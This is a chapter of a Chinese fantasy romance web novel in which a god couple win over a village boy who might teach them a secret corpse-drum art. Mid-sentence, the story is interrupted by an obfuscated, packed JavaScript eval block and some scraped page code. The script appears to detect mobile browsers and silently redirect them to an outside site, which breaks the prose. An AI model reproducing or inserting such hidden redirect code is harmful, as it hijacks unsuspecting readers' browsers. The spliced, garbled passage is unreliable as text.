111. 你一个神仙,居然还怕鬼
作品:《仙狐竹马绕青梅》 见这位连着两天没给自己好脸色的哥哥忽然来了兴致,少年马上咧开嘴露出了两排白灿灿的牙,高兴地站起身子搭在了他的肩上:
“哥哥居然知道滩戏?
我学的正是百尸敲鼓!早些年的时候,作怪的山精野怪多得很,我娘说隔上三五日,就得围阵演上一回。
这些年,妖怪都被神族降得差不多了,便演得少了,但手艺不能丢。”
面前这孩子不经意的话,却让夫妻两都心动了起来。神族这些年四处降妖封印精怪,凡界确实安慰了不少,然而人族不知道的是,湘西的滩戏,是他们口中那些神族打小在学堂里,就了解过的一门神技。
传说这滩戏,是由上百具千年不腐的尸体戴上彩漆的面具,以狐猴的腿骨制成的鼓棒,敲击画着人脸纹样的皮鼓,控阵之人都是湘西滩族的传人,每代只有一个。
孟望舒少时听见这个技法时便好奇得很,书本上写着,鼓声一响,百鬼退堂,万妖趋避,还能换来百里之外的山魈和蛇虫两族来守护他们。
对面的夫君显然也动了和她一样的心思,夫妻俩交换了一下眼神,便都留这少年在院里吃午饭。
只可惜两人都是不擅厨艺的主儿,在厨房里捣鼓了半天,倒是看不下去的入凡撩起了袖子,进了灶间,一会儿功夫就端出几碗螺肉面线来。
“这么说,你也是会滩戏的?那些…那些敲鼓的,真是千年不腐的干尸吗?他们臭不臭?”
小狐狸边喂着张大嘴一口接一口吃面的女儿,边打听起这秘法来。
“那都是外头瞎穿的,哪有那么多千年不腐的干尸供我们驱使啊?
一代一代的战打下来,折损的都不计其数,老祖宗驱使的那些早都风干成渣渣了!”
入凡的话让年轻的神君心里松快了不少,虽然他怕鬼,但是既然对方用的不是千年干尸,自己或许可以将心底的计划试上一试:
“那你们滩戏一代真的只传一个吗?你看看我和你姐姐,能不能跟你学。
你若是肯教我们,我便送你一套三界最好看的衣裳去跳舞,再给你打上一个纯金的脸盆!”
没想到听见他们想学,方才还嘻嘻哈哈的少年,立时就换了另一副模样,放下了手里的碗,抬手抹了抹嘴边的渣渣,站起来一个字也不说,就从院子里走了出去。
任凭身后的夫妻俩怎么唤他,也没有再回头。
陆伯都看着桌上那碗剩了半碗的面线,开始后悔起自己的心急来,他不知道到底哪句话冒犯了那个开朗爱笑的少年,但心里知道了这滩戏看来真是不外传的秘法,才会那少年被针扎了般起身就跑:
“是我太莽撞了些,我想着若是我们能学会滩戏……”
小狐狸埋头吃着碗里的面线,并没有立即搭话,身边的人近日的确有些急躁,什么事儿都冒冒失失的,让他反省反省也好。堂堂的昆仑山神,总不能日日像只惊弓之鸟,听着什么想也不想就凭着闪念应对。
直到碗底鲜美的汤也进了肚子,放下碗的人才看了一眼对面的夫君,柔声道:
“你是莽撞了些,他不过是个半大的孩子,这样族人千百年来保命的技法,如何能传给两个刚认识半天的外人?
也不知道我们现在在他眼里,是不是个坏人,等晚些时候,咱们再去镇子上等他表演完赔罪吧。
这孩子看着倒是纯真憨厚,不至于是非不分,你觉不觉得,他瞧着倒有几分像我弟弟年少的时候?”
本来就闯了祸心里慌得很,又被夫人一通数落,昆仑山神只觉得心里又升起些委屈来。见妻子说着说着,又开始夸赞那个昨夜轻佻调笑的少年来,更是难过。
憋了半天也没想好怎么回击,干脆起身抢过妻子手里的碗,往厨房里边走边对着空气大喊到:
“那江南的皇帝,是你没血没亲的哥哥!
到了南海没两天,这又觉得那个后生像你的弟弟了,你们孟家的亲戚,还真是遍布九州!”
水池边那个高大的背影正低着头恶狠狠地刷着手里的碗,抱怨归抱怨,却并不敢抬头看她。坐在旁边等了半天的孟望舒见那个气鼓鼓的家伙没有要过来的意思,便抱起女儿转身回了屋里。
又不知道过了多久,她只知道身边的小娃娃已经在自己的轻拍下进入了熟睡,身后才有团热气凑到了耳边:
“你只当我是痴了傻了,才这么爱生那些酸气,别同我计较了。”
前两日听见自己背着皇帝哥哥下山,今日又看她与那位少年一见如故,这老虎打小心眼儿就小,不开心也正常。她本来也没生气,伸手揉了揉肩上那颗毛茸茸的大脑袋,就扭头在爱人的肩上咬了一口。
见对方吃痛又不敢出声,唯恐惊到了刚睡着的女儿们,心里的最后一点不快也消散了,两人对视一眼,都憋着笑低下头去。
等到了傍晚,令人没想到的是,那个本该在舞台上表演的少年,循着中午逃走的路又回到了院门口,但却没了早上笑嘻嘻进来的活泼劲儿,只站在外面的小路上,徘徊了半天也没进来。
察觉到动静的小宜苏倒是高兴得很,举起了胖乎乎的小手就想让哥哥抱。陆伯都见那小子还是不敢进屋,便干脆弯下腰把女儿扛到肩上,走到了他面前,拽住袖子就把人拉了进来。
“入凡,你既然叫我一声姐姐,可愿意听我解释一下我们想学滩戏的缘由?
我向你保证,我们不是坏人,也不是想学这些东西去害人。实际上,我们是遇见了麻烦的神族,你若是愿意教我们滩戏,兴许可以避免一场三界的大难。”
听见神族两个字,少年立刻瞪大了眼睛捂住了嘴,过了好一会儿才难以置信地看着他们。
见这小子没见过神仙,对他们的身份满脸的不信,孟望舒知道单单靠言明身份,无法让面前的人真的相信他们,便抬手指了指夫君,笑着鼓励客人:
“你在话本子里读过的神仙本领,这个哥哥都会,不信你现在指挥他做给你看。”
入凡将信将疑地盯着昆仑山神看了半天,张了好几次嘴才磕磕巴巴地说出了自己的指令:
“那…那你……穿墙!”
听见指令的人苦笑着摇了摇头,在心里自怜起自己身为三界最年轻的上神,如今为了自证身份,居然要在南海边这小渔村里表演穿墙来。但又不得不照做,在墙边连穿了好几回。
“你再隔空取物!拿个勺子给我!”
“那你会在手心点火吗!你点一个!”
“那你怕不怕水?你把那缸里的水变出漩涡漂到空中来给我看!”
年轻的神君在院里忙来忙去应接不暇地表演了好几个技能后,终于开始不耐烦起来,眼见着少年的玩性越来越大,他手指一转,让在空中打转的漩涡方向一变,眼看着就要打湿入凡的鼻尖,才后撤了那个漩涡送回了缸里。
“你差不多得了!我是天上的神仙,不是你们镇子上许愿池子吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927796|155451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了铜钱就能许愿的王八!
拿我当个杂技团里的狮子耍几下得了!还没完没了了!”
见他发了脾气,少年只好把接下来的愿望咽回了肚子里,低声嘟囔了一句:
“神仙原来也不是好性儿的!
那神族都有原身,你的原身是什么?”
这句话彻底惹笑了坐在桌子边的小狐狸,她凑到入凡的耳边,低声解惑道:
“他的原身啊,是只大老虎!”
谁知道听见这句话的少年,居然朗声答道:
“那狮子和老虎,不是差不多吗!”
陆伯都被这句话噎得翻了好几个白眼,也没能消化完自己的情绪。如果他有罪,大可以抓他上天庭审他罚他,而不是叫自己在这土墙里穿来过去地耍杂技,还要被这样羞辱。
“什么差不多!我是叫你差不多得了!
我现在已经证明了我是神族,便再跟你说说为何我们想学滩戏。”
左右马戏也演了,倒不怕这孩子知道他们的身份,神生艰难,昆仑山神擦了擦自己头上累出来的汗珠,扯开一把凳子就坐了下来,将多日来昆仑和妻儿遭遇的困境一股脑儿的说了出来。
从朝圣路上枉死在黑熊精爪下的人们,讲到无腹国拿着假药离世的长老,再到还在襁褓中就被下毒差点没活成的那只小老虎。
听见怀中的小小人儿居然也被下了毒,不凡有些惊讶的低头看向了那张粉粉的小脸,看来也对那两位上神的作为有些唏嘘,短短半个时辰,他对神族的印象应该已经被这些事情颠覆了。
“可那两个老神仙,不都是神界的老资格吗?
滩戏再厉害,也是凡人的技法,你们学了,真能对付他们吗?”
少年显然信服了他们的经历,但又丢出了新的问题。
“单靠滩戏显然是不能的,我们要学这个,是因为太阴女神的居所外是片雨林,蛇虫鼠蚁众多。
而那无极仙君的神殿周围,更是三界山魈最密集的地方,若是我们能学会滩戏,可以在必要的时候,以这秘法牵制住受他们驱使的灵兽们,能多上几分胜算。”
孟望舒耐心地解释完,就不再说话,只安静地注视着入凡,等他做最后的决断。毕竟这秘法是湘西人自保的要紧东西,就算这孩子不愿意教给他们,也是情理之中。
“我若是告诉母亲,自然她是不会同意的。
但我已经学了九成了,库房的钥匙也在我手里,若是为了三界苍生,我愿意教给你们!”
这个好消息的背后,两人都能感受到少年的热血和决心,立刻都举起了手里的茶杯,以茶代酒感激地敬了不凡一杯。喝了神仙敬的茶,有些喜滋滋地人马上就起身,说要回去准备准备,第二天来叫他们。
望着外面黑透了的天,陆伯都有些不放心这个在南海看上去格外清瘦的少年,坚持要给他送到家附近。两人并肩走在海边的小路上,听着蝉鸣很有些惬意。
埋头走了许久,神君像忽然想起了什么,拍了拍少年的肩:
“你说的库房,就是存放彩漆面具和皮鼓的地方吧?咱们现在能去看看吗?”
回过头的入凡再次露出了招牌的笑容:
“对!里头还躺着我存的108具干尸,虽没有上千年,也有三百来年了,哥哥现在就同我去看吗?”
那两排中午日头下看着还可爱得很对白牙,在此刻的陆伯都眼里,忽然就有些阴森森起来。